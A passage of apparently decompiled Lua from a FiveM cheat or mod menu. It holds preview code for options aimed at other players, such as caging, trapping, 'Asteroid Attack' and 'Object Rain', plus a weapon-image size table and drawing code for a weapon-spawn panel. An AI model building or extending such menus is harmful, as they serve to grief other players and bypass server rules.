side.ry, targetHeading + side.rz, 2, true) end end end return end local previewEntity = previewEntities[1] repeat if previewEntity then if DoesEntityExist(previewEntity) then break end end return until true SetEntityCoordsNoOffset( previewEntity, targetCoords.x, targetCoords.y, targetCoords.z + (spec.offsetZ or 0.0), false, false, false ) SetEntityHeading(previewEntity, targetHeading) if spec.rotation then SetEntityRotation( previewEntity, spec.rotation.x, spec.rotation.y, targetHeading + (spec.rotation.z or 0.0), 2, true ) end end function assembledMenuFunctions.updatePlayerOptionPreview(options) do local valid = false repeat repeat if options then if not options.spec then break end if options.ped then valid = true break end end until true if valid then break end return until true end local spec = options.spec local selKey = options.selKey if not selKey then selKey = spec.selKey end local function hasRequiredEntities(kind, entities) do local valid = false repeat repeat if entities then if #entities == 0 then break end if DoesEntityExist(entities[1]) then valid = true break end end until true if valid then break end return false until true end do local singleEntity = false repeat repeat if kind ~= "box_overlap" then if kind == "double_trap" then break end if kind == "cage_double" then break end if kind == "trap_trash_box" then break end if kind ~= "bunker_nested" then singleEntity = true break end end until true if singleEntity then break end local second = entities[2] if second then second = DoesEntityExist(entities[2]) end return second until true end if kind == "cube_four" then local fourth = entities[4] if fourth then fourth = DoesEntityExist(entities[4]) end return fourth end return true end if menu.vars.playerOptionPreviewSelKey == selKey then if menu.vars.playerOptionPreviewEntities then if hasRequiredEntities(spec.kind, menu.vars.playerOptionPreviewEntities) then menu.vars.playerOptionPreviewSpec = spec menu.functions.repositionPlayerOptionPreview( options.ped, spec, menu.vars.playerOptionPreviewEntities ) return end end end if menu.vars.playerOptionPreviewPending == selKey then return end menu.functions.clearPlayerOptionPreview() local generation = menu.vars.playerOptionPreviewGen menu.vars.playerOptionPreviewPending = selKey menu.vars.playerOptionPreviewSelKey = selKey menu.vars.playerOptionPreviewSpec = spec local createThread = Citizen.CreateThread local function runUpdatePlayerOptionPreviewThread() local model = GetHashKey(spec.model) if not IsModelInCdimage(model) then if menu.vars.playerOptionPreviewGen == generation then menu.vars.playerOptionPreviewPending = nil end return end RequestModel(model) local timeout = GetGameTimer() + 3000 while not HasModelLoaded(model) and timeout > GetGameTimer() do Citizen.Wait(0) end if not HasModelLoaded(model) then if menu.vars.playerOptionPreviewGen == generation then menu.vars.playerOptionPreviewPending = nil end return end if menu.vars.playerOptionPreviewGen ~= generation then SetModelAsNoLongerNeeded(model) return end local targetPed = menu.functions.getPlayerOptionPreviewTargetPed() if not targetPed then menu.vars.playerOptionPreviewPending = nil SetModelAsNoLongerNeeded(model) return end local targetCoords = GetEntityCoords(targetPed) local entities = {} local function registerEntity(entity) if entity then if entity ~= 0 then if DoesEntityExist(entity) then menu.functions.configurePlayerOptionPreviewEntity(entity, spec) entities[#entities + 1] = entity end end end end repeat if spec.kind == "vehicle" then registerEntity( CreateVehicle( model, targetCoords.x, targetCoords.y, targetCoords.z + (spec.offsetZ or 0.0), GetEntityHeading(targetPed), false, false ) ) break end if spec.kind == "vertical_attach" then if spec.entityType == "vehicle" then registerEntity( CreateVehicle( model, targetCoords.x, targetCoords.y, targetCoords.z, GetEntityHeading(targetPed), false, false ) ) break end registerEntity( CreateObject(model, targetCoords.x, targetCoords.y, targetCoords.z, false, false, false) ) break end local paired = false repeat if spec.kind ~= "box_double" then if spec.kind == "box_overlap" then break end if spec.kind == "double_trap" then break end if spec.kind == "cage_double" then break end if spec.kind == "trap_trash_box" then break end if spec.kind ~= "bunker_nested" then paired = true break end end until true if not paired then local spawnZ = targetCoords.z + (spec.offsetZ or 0.0) registerEntity(CreateObject(model, targetCoords.x, targetCoords.y, spawnZ, false, false, false)) registerEntity(CreateObject(model, targetCoords.x, targetCoords.y, spawnZ, false, false, false)) break end if spec.kind == "cube_four" then local minBounds, maxBounds = GetModelDimensions(model) local sides = menu.functions.getCubeSideLayout(minBounds, maxBounds, spec.cubeLayout or "panel") for index = 1, 4, 1 do local side = sides[index] local position = GetOffsetFromEntityInWorldCoords(targetPed, side.ox, side.oy, 0.0) registerEntity(CreateObject(model, position.x, position.y, targetCoords.z, false, false, false)) end else registerEntity( CreateObject( model, targetCoords.x, targetCoords.y, targetCoords.z + (spec.offsetZ or 0.0), false, false, false ) ) end until true SetModelAsNoLongerNeeded(model) if menu.vars.playerOptionPreviewGen ~= generation then for _, entity in ipairs(entities) do if DoesEntityExist(entity) then DeleteEntity(entity) end end return end local requiredCount = 1 if spec.kind == "box_double" or spec.kind == "box_overlap" or spec.kind == "double_trap" or spec.kind == "cage_double" or spec.kind == "trap_trash_box" or spec.kind == "bunker_nested" then requiredCount = 2 end if spec.kind == "cube_four" then requiredCount = 4 end if requiredCount > #entities then menu.vars.playerOptionPreviewPending = nil return end menu.vars.playerOptionPreviewEntities = entities menu.vars.playerOptionPreviewPending = nil menu.functions.repositionPlayerOptionPreview(targetPed, spec, entities) end createThread(runUpdatePlayerOptionPreviewThread) end function assembledMenuFunctions.getPlayerOptionPreviewContext() local currentNode = menu.vars.visible repeat if currentNode then currentNode = menu.vars.freecamMenuActive if not currentNode then break end end return nil until true currentNode = menu.vars.navigationStack if currentNode then currentNode = menu.vars.navigationStack[#menu.vars.navigationStack] end repeat if currentNode then if currentNode.title == "Online Options" then break end end return nil until true local logic = menu.logic do local available = false repeat repeat if logic then logic = menu.logic.getNodeOptions if not logic then break end logic = menu.logic.getVisibleOptions if logic then available = true break end end until true if available then break end return nil until true end local options = menu.logic.getNodeOptions(currentNode) local visibleOptions = menu.logic.getVisibleOptions(options) local selectedIndex = menu.vars.currentOption if not selectedIndex then selectedIndex = 1 end local scrollOffset = menu.vars.scrollOffset if not scrollOffset then scrollOffset = 0 end selectedIndex = selectedIndex + scrollOffset local option = visibleOptions[selectedIndex] if not option then return nil end local supported = {} supported.Smash = true supported.Cage = true supported.Attach = true supported["Asteroid Attack"] = true supported["Ufo Attack"] = true supported.Trap = true supported["Cube Player"] = true supported["Cage with Drink"] = true supported["Spawn Bunker"] = true supported["Object Rain"] = true if not supported[option.name] then return nil end local targetPed = menu.functions.getPlayerOptionPreviewTargetPed() if not targetPed then return nil end local spec = menu.functions.resolvePlayerOptionPreviewSpec(option) if not spec then return nil end local context = {} context.opt = option context.ped = targetPed context.spec = spec context.selKey = option.name .. ":" .. tostring(spec.selKey) return context end function assembledMenuFunctions.tickPlayerOptionPreview() local previewEnabled = menu.functions.isEntitySpawnPreviewEnabled if previewEnabled then previewEnabled = menu.functions.isEntitySpawnPreviewEnabled() if not previewEnabled then menu.functions.clearPlayerOptionPreview() return end end local context = menu.functions.getPlayerOptionPreviewContext() if not context then menu.functions.clearPlayerOptionPreview() return end menu.functions.updatePlayerOptionPreview(context) end pendingFunctionValue = {} pendingMenuEntry17 = {} pendingMenuEntry17.width = 293 pendingMenuEntry17.height = 114 pendingFunctionValue.WEAPON_ADVANCEDRIFLE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 156 pendingMenuEntry17.height = 77 pendingFunctionValue.WEAPON_APPISTOL = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 404 pendingMenuEntry17.height = 123 pendingFunctionValue.WEAPON_ASSAULTRIFLE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 403 pendingMenuEntry17.height = 122 pendingFunctionValue.WEAPON_ASSAULTRIFLE_MK2 = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 408 pendingMenuEntry17.height = 118 pendingFunctionValue.WEAPON_ASSAULTSHOTGUN = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 302 pendingMenuEntry17.height = 110 pendingFunctionValue.WEAPON_ASSAULTSMG = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 296 pendingMenuEntry17.height = 147 pendingFunctionValue.WEAPON_AUTOSHOTGUN = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 66 pendingMenuEntry17.height = 66 pendingFunctionValue.WEAPON_BALL = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 300 pendingMenuEntry17.height = 32 pendingFunctionValue.WEAPON_BAT = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 243 pendingMenuEntry17.height = 107 pendingFunctionValue.WEAPON_BATTLEAXE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 150 pendingMenuEntry17.height = 46 pendingFunctionValue.WEAPON_BOTTLE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 316 pendingMenuEntry17.height = 118 pendingFunctionValue.WEAPON_BULLPUPRIFLE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 318 pendingMenuEntry17.height = 137 pendingFunctionValue.WEAPON_BULLPUPRIFLE_MK2 = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 290 pendingMenuEntry17.height = 95 pendingFunctionValue.WEAPON_BULLPUPSHOTGUN = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 125 pendingMenuEntry17.height = 56 pendingFunctionValue.WEAPON_BZGAS = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 232 pendingMenuEntry17.height = 72 pendingFunctionValue.WEAPON_CANDYCANE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 369 pendingMenuEntry17.height = 129 pendingFunctionValue.WEAPON_CARBINERIFLE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 322 pendingMenuEntry17.height = 110 pendingFunctionValue.WEAPON_CARBINERIFLE_MK2 = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 134 pendingMenuEntry17.height = 95 pendingFunctionValue.WEAPON_CERAMICPISTOL = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 378 pendingMenuEntry17.height = 110 pendingFunctionValue.WEAPON_COMBATMG = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 409 pendingMenuEntry17.height = 122 pendingFunctionValue.WEAPON_COMBATMG_MK2 = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 315 pendingMenuEntry17.height = 106 pendingFunctionValue.WEAPON_COMBATPDW = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 110 pendingMenuEntry17.height = 80 pendingFunctionValue.WEAPON_COMBATPISTOL = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 406 pendingMenuEntry17.height = 90 pendingFunctionValue.WEAPON_COMBATSHOTGUN = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 192 pendingMenuEntry17.height = 109 pendingFunctionValue.WEAPON_COMPACTLAUNCHER = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 292 pendingMenuEntry17.height = 163 pendingFunctionValue.WEAPON_COMPACTRIFLE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 255 pendingMenuEntry17.height = 65 pendingFunctionValue.WEAPON_CROWBAR = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 190 pendingMenuEntry17.height = 58 pendingFunctionValue.WEAPON_DAGGER = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 257 pendingMenuEntry17.height = 92 pendingFunctionValue.WEAPON_DBSHOTGUN = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 215 pendingMenuEntry17.height = 95 pendingFunctionValue.WEAPON_DOUBLEACTION = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 192 pendingMenuEntry17.height = 106 pendingFunctionValue.WEAPON_EMPLAUNCHER = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 583 pendingMenuEntry17.height = 103 pendingFunctionValue.WEAPON_FIREWORK = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 151 pendingMenuEntry17.height = 30 pendingFunctionValue.WEAPON_FLARE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 138 pendingMenuEntry17.height = 82 pendingFunctionValue.WEAPON_FLAREGUN = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 182 pendingMenuEntry17.height = 33 pendingFunctionValue.WEAPON_FLASHLIGHT = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 198 pendingMenuEntry17.height = 97 pendingFunctionValue.WEAPON_GADGETPISTOL = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 290 pendingMenuEntry17.height = 40 pendingFunctionValue.WEAPON_GOLFCLUB = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 89 pendingMenuEntry17.height = 61 pendingFunctionValue.WEAPON_GRENADE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 380 pendingMenuEntry17.height = 120 pendingFunctionValue.WEAPON_GRENADELAUNCHER = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 435 pendingMenuEntry17.height = 113 pendingFunctionValue.WEAPON_GUSENBERG = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 185 pendingMenuEntry17.height = 72 pendingFunctionValue.WEAPON_HAMMER = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 250 pendingMenuEntry17.height = 89 pendingFunctionValue.WEAPON_HATCHET = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 126 pendingMenuEntry17.height = 92 pendingFunctionValue.WEAPON_HEAVYPISTOL = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 407 pendingMenuEntry17.height = 136 pendingFunctionValue.WEAPON_HEAVYRIFLE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 431 pendingMenuEntry17.height = 104 pendingFunctionValue.WEAPON_HEAVYSHOTGUN = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 489 pendingMenuEntry17.height = 121 pendingFunctionValue.WEAPON_HEAVYSNIPER = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 473 pendingMenuEntry17.height = 99 pendingFunctionValue.WEAPON_HEAVYSNIPER_MK2 = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 543 pendingMenuEntry17.height = 118 pendingFunctionValue.WEAPON_HOMINGLAUNCHER = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 186 pendingMenuEntry17.height = 38 pendingFunctionValue.WEAPON_KNIFE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 124 pendingMenuEntry17.height = 80 pendingFunctionValue.WEAPON_KNUCKLE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 353 pendingMenuEntry17.height = 64 pendingFunctionValue.WEAPON_MACHETE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 252 pendingMenuEntry17.height = 131 pendingFunctionValue.WEAPON_MACHINEPISTOL = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 229 pendingMenuEntry17.height = 95 pendingFunctionValue.WEAPON_MARKSMANPISTOL = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 429 pendingMenuEntry17.height = 115 pendingFunctionValue.WEAPON_MARKSMANRIFLE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 423 pendingMenuEntry17.height = 120 pendingFunctionValue.WEAPON_MARKSMANRIFLE_MK2 = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 430 pendingMenuEntry17.height = 109 pendingFunctionValue.WEAPON_MG = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 284 pendingMenuEntry17.height = 115 pendingFunctionValue.WEAPON_MICROSMG = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 396 pendingMenuEntry17.height = 117 pendingFunctionValue.WEAPON_MILITARYRIFLE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 475 pendingMenuEntry17.height = 153 pendingFunctionValue.WEAPON_MINIGUN = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 232 pendingMenuEntry17.height = 130 pendingFunctionValue.WEAPON_MINISMG = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 193 pendingMenuEntry17.height = 57 pendingFunctionValue.WEAPON_MOLOTOV = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 492 pendingMenuEntry17.height = 87 pendingFunctionValue.WEAPON_MUSKET = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 278 pendingMenuEntry17.height = 95 pendingFunctionValue.WEAPON_NAVYREVOLVER = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 269 pendingMenuEntry17.height = 74 pendingFunctionValue.WEAPON_NIGHTSTICK = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 181 pendingMenuEntry17.height = 59 pendingFunctionValue.WEAPON_PIPEBOMB = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 125 pendingMenuEntry17.height = 77 pendingFunctionValue.WEAPON_PISTOL = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 136 pendingMenuEntry17.height = 91 pendingFunctionValue.WEAPON_PISTOL50 = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 141 pendingMenuEntry17.height = 98 pendingFunctionValue.WEAPON_PISTOL_MK2 = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 278 pendingMenuEntry17.height = 17 pendingFunctionValue.WEAPON_POOLCUE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 492 pendingMenuEntry17.height = 84 pendingFunctionValue.WEAPON_PRECISIONRIFLE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 135 pendingMenuEntry17.height = 55 pendingFunctionValue.WEAPON_PROXMINE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 455 pendingMenuEntry17.height = 96 pendingFunctionValue.WEAPON_PUMPSHOTGUN = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 458 pendingMenuEntry17.height = 95 pendingFunctionValue.WEAPON_PUMPSHOTGUN_MK2 = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 405 pendingMenuEntry17.height = 98 pendingFunctionValue.WEAPON_RAILGUN = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 307 pendingMenuEntry17.height = 112 pendingFunctionValue.WEAPON_RAYCARBINE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 349 pendingMenuEntry17.height = 104 pendingFunctionValue.WEAPON_RAYMINIGUN = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 228 pendingMenuEntry17.height = 114 pendingFunctionValue.WEAPON_RAYPISTOL = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 200 pendingMenuEntry17.height = 98 pendingFunctionValue.WEAPON_REVOLVER = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 203 pendingMenuEntry17.height = 99 pendingFunctionValue.WEAPON_REVOLVER_MK2 = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 582 pendingMenuEntry17.height = 102 pendingFunctionValue.WEAPON_RPG = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 256 pendingMenuEntry17.height = 93 pendingFunctionValue.WEAPON_SAWNOFFSHOTGUN = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 318 pendingMenuEntry17.height = 109 pendingFunctionValue.WEAPON_SMG = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 190 pendingMenuEntry17.height = 115 pendingFunctionValue.WEAPON_SMG_MK2 = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 125 pendingMenuEntry17.height = 56 pendingFunctionValue.WEAPON_SMOKEGRENADE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 497 pendingMenuEntry17.height = 107 pendingFunctionValue.WEAPON_SNIPERRIFLE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 74 pendingMenuEntry17.height = 74 pendingFunctionValue.WEAPON_SNOWBALL = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 90 pendingMenuEntry17.height = 73 pendingFunctionValue.WEAPON_SNSPISTOL = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 92 pendingMenuEntry17.height = 76 pendingFunctionValue.WEAPON_SNSPISTOL_MK2 = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 308 pendingMenuEntry17.height = 113 pendingFunctionValue.WEAPON_SPECIALCARBINE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 313 pendingMenuEntry17.height = 113 pendingFunctionValue.WEAPON_SPECIALCARBINE_MK2 = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 150 pendingMenuEntry17.height = 62 pendingFunctionValue.WEAPON_STICKYBOMB = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 238 pendingMenuEntry17.height = 104 pendingFunctionValue.WEAPON_STONE_HATCHET = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 115 pendingMenuEntry17.height = 72 pendingFunctionValue.WEAPON_STUNGUN = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 317 pendingMenuEntry17.height = 69 pendingFunctionValue.WEAPON_STUNROD = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 197 pendingMenuEntry17.height = 41 pendingFunctionValue.WEAPON_SWITCHBLADE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 436 pendingMenuEntry17.height = 118 pendingFunctionValue.WEAPON_TACTICALRIFLE = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 150 pendingMenuEntry17.height = 79 pendingFunctionValue.WEAPON_VINTAGEPISTOL = pendingMenuEntry17 pendingMenuEntry17 = {} pendingMenuEntry17.width = 268 pendingMenuEntry17.height = 54 pendingFunctionValue.WEAPON_WRENCH = pendingMenuEntry17 assembledMenuFunctions.weaponPreviewAssets = pendingFunctionValue function assembledMenuFunctions.preloadWeaponPreviewImages() menu.vars.weaponPreviewImages = menu.vars.weaponPreviewImages or {} for weaponName, asset in pairs(menu.functions.weaponPreviewAssets) do local image = menu.vars.weaponPreviewImages[weaponName] if not image then local newImage = {} newImage.width = asset.width newImage.height = asset.height image = newImage menu.vars.weaponPreviewImages[weaponName] = image end if not image.texture then if not image.request then image.request = Ham.addCustomTextureAsync( "gta_weapon_preview_" .. weaponName .. ".png", "https://docs.fivem.net/weapons/" .. weaponName .. ".png" ) if image.request then local request = {} request.requestId = image.request request.name = weaponName request.weaponPreviewHash = weaponName table.insert(menu.textureLoading.requests, request) menu.textureLoading.total = menu.textureLoading.total + 1 end end end end end function assembledMenuFunctions.drawWeaponSpawnPreview(options) local visible = menu.vars.visible do local canDraw = false repeat repeat if visible then visible = menu.vars.panicMode if visible then break end visible = menu.vars.isBindingKey if not visible then canDraw = true break end end until true if canDraw then break end return until true end if not options then return end local selectedIndex = menu.vars.currentOption if not selectedIndex then selectedIndex = 1 end local scrollOffset = menu.vars.scrollOffset if not scrollOffset then scrollOffset = 0 end selectedIndex = selectedIndex + scrollOffset local option = options[selectedIndex] repeat if option then if option.func == "spawnWeaponFromCategory" then break end end return until true local category = menu.functions.getWeaponSpawnCategories()[option.name] local selectedWeaponIndex = menu.vars.selectors repeat if selectedWeaponIndex then selectedWeaponIndex = menu.vars.selectors[option.var] if selectedWeaponIndex then break end end selectedWeaponIndex = 1 until true local weapon if not category then weapon = category else weapon = category[selectedWeaponIndex] end if not weapon then return end menu.vars.weaponPreviewImages = menu.vars.weaponPreviewImages or {} local weaponPreviewImages = menu.vars.weaponPreviewImages local image = weaponPreviewImages[weapon.hash] if not image then image = {} end weaponPreviewImages[weapon.hash] = image local scale = menu.vars.scale if not scale then scale = 1 end local screenWidth, screenHeight = Ham.getResolution() local previewWidth = roundNearest(205 * scale) local previewHeight = roundNearest(220 * scale) local padding = roundNearest(8 * scale) local positionState = menu.vars.menuPositionState if not positionState then positionState = {} end local menuX = positionState.x if not menuX then menuX = roundNearest(75 * scale) end local bannerHeight = roundNearest((menu.vars.bannerHeight or 0) * (menu.vars.widthScaleFactor or 1)) local menuY = positionState.y if not menuY then menuY = roundNearest(screenHeight / (menu.vars.menuVerticalAnchorDivisor or 7)) menuY = menuY + roundNearest((menu.vars.yOffset or 0) * scale) menuY = menuY + bannerHeight end local menuWidth = menu.vars.width if not menuWidth then menuWidth = roundNearest(470 * scale) end local previewX = menuX + menuWidth + padding if previewX + previewWidth > screenWidth - padding then previewX = menuX - previewWidth - padding end previewX = math.max(padding, math.min(previewX, screenWidth - previewWidth - padding)) local previewY = math.max(padding, math.min(menuY - bannerHeight, screenHeight - previewHeight - padding)) local primaryColor = menu.drawing.colors.primary if not primaryColor then primaryColor = {} primaryColor[1] = 0 primaryColor[2] = 120 primaryColor[3] = 255 primaryColor[4] = 255 end local textColor = {} textColor[1] = 255 textColor[2] = 255 textColor[3] = 255 textColor[4] = 255 local nameColor = {} nameColor[1] = 255 nameColor[2] = 255 nameColor[3] = 255 nameColor[4] = 210 local optionFont = menu.fonts.options local textSize = math.max(10, roundNearest((optionFont.font_size or 15) * 0.78)) local rect = {} rect[1] = previewX rect[2] = previewY rect[3] = previewWidth rect[4] = previewHeight local backgroundColor = {} backgroundColor[1] = 0 backgroundColor[2] = 0 backgroundColor[3] = 0 backgroundColor[4] = 245 Ham.drawRectFilled(rect, backgroundColor, roundNearest(10 * scale), roundNearest(12 * scale)) rect = {} rect[1] = previewX rect[2] = previewY rect[3] = previewWidth rect[4] = previewHeight local gradientColor = {} gradientColor[1] = primaryColor[1] gradientColor[2] = primaryColor[2] gradientColor[3] = primaryColor[3] gradientColor[4] = 48 local transparent = {} transparent[1] = 0 transparent[2] = 0 transparent[3] = 0 transparent[4] = 0 menu.drawing.drawRoundedRectGradient(rect, gradientColor, transparent, roundNearest(10 * scale)) local function drawSection(offsetY, height) local sectionRect = {} local y = previewY + roundNearest(offsetY * scale) local results = table.pack(roundNearest(height * scale)) rawset(sectionRect, 1, previewX) rawset(sectionRect, 2, y) rawset(sectionRect, 3, previewWidth) for index = 1, results.n do rawset(sectionRect, 3 + index, results[index]) end local color = {} color[1] = 0 color[2] = 0 color[3] = 0 color[4] = 200 Ham.drawRectFilled(sectionRect, color, roundNearest(8 * scale), 8) local gradient = {} gradient[1] = primaryColor[1] gradient[2] = primaryColor[2] gradient[3] = primaryColor[3] gradient[4] = 56 local transparentGradient = {} transparentGradient[1] = 0 transparentGradient[2] = 0 transparentGradient[3] = 0 transparentGradient[4] = 0 menu.drawing.drawRoundedRectGradient(sectionRect, gradient, transparentGradient, roundNearest(8 * scale)) end local dividerRect = {} dividerRect[1] = previewX dividerRect[2] = previewY + roundNearest(24 * scale) dividerRect[3] = previewWidth dividerRect[4] = 1 local dividerColor = {} dividerColor[1] = primaryColor[1] dividerColor[2] = primaryColor[2] dividerColor[3] = primaryColor[3] dividerColor[4] = 70 Ham.drawRectFilled(dividerRect, dividerColor, 0, 0) drawSection(27, 94) drawSection(127, 89) dividerRect = {} dividerRect[1] = previewX dividerRect[2] = previewY + roundNearest(124 * scale) dividerRect[3] = previewWidth dividerRect[4] = 1 dividerColor = {} dividerColor[1] = primaryColor[1] dividerColor[2] = primaryColor[2] dividerColor[3] = primaryColor[3] dividerColor[4] = 70 Ham.drawRectFilled(dividerRect, dividerColor, 0, 0) local function drawPreviewText(text, offsetX, offsetY, color, size) local position = {} position[1] = previewX + roundNearest(offsetX * scale) position[2] = previewY + roundNearest(offsetY * scale) local actualColor if color then actualColor = color else actualColor = textColor end local actualSize if size then actualSize = size else actualSize = textSize end text = tostring(text) local shadowColor = {} shadowColor[1] = 0 shadowColor[2] = 0 shadowColor[3] = 0 shadowColor[4] = 160 Ham.drawText(text, position, actualColor, actualSize, false, true, shadowColor) local emptyColor = {} Ham.drawText(text, position, actualColor, actualSize, false, false, emptyColor) end local function drawRowIcon(icon, offsetY) menu.functions.drawSpawnPreviewRowIcon( icon, previewX, previewY + roundNearest(offsetY * scale), scale, primaryColor, optionFont ) end Ham.setFont(optionFont) local headerKey = tostring(scale) .. ":" .. tostring(textSize) .. ":" .. option.name if image.headerKey ~= headerKey then local categoryAliases = {} categoryAliases["Heavy Weapons"] = "Heavy" categoryAliases["Sniper Rifles"] = "Sniper" categoryAliases.Throwables = "Thrown" image.categoryLabel = categoryAliases[option.name] or option.name local fontScale = textSize / (optionFont.font_size or 15) local categoryWidth = select(1, Ham.getTextWidth(image.categoryLabel)) if not categoryWidth then categoryWidth = 0 end image.categoryWidth = categoryWidth * fontScale local availableWidth = previewWidth - roundNearest(24 * scale) - image.categoryWidth local headerTitle = weapon.display local titleWidth = select(1, Ham.getTextWidth(headerTitle)) if not titleWidth then titleWidth = 0 end titleWidth = titleWidth * fontScale if availableWidth < titleWidth then while #headerTitle > 0 do titleWidth = select(1, Ham.getTextWidth(headerTitle .. "...")) if not titleWidth then 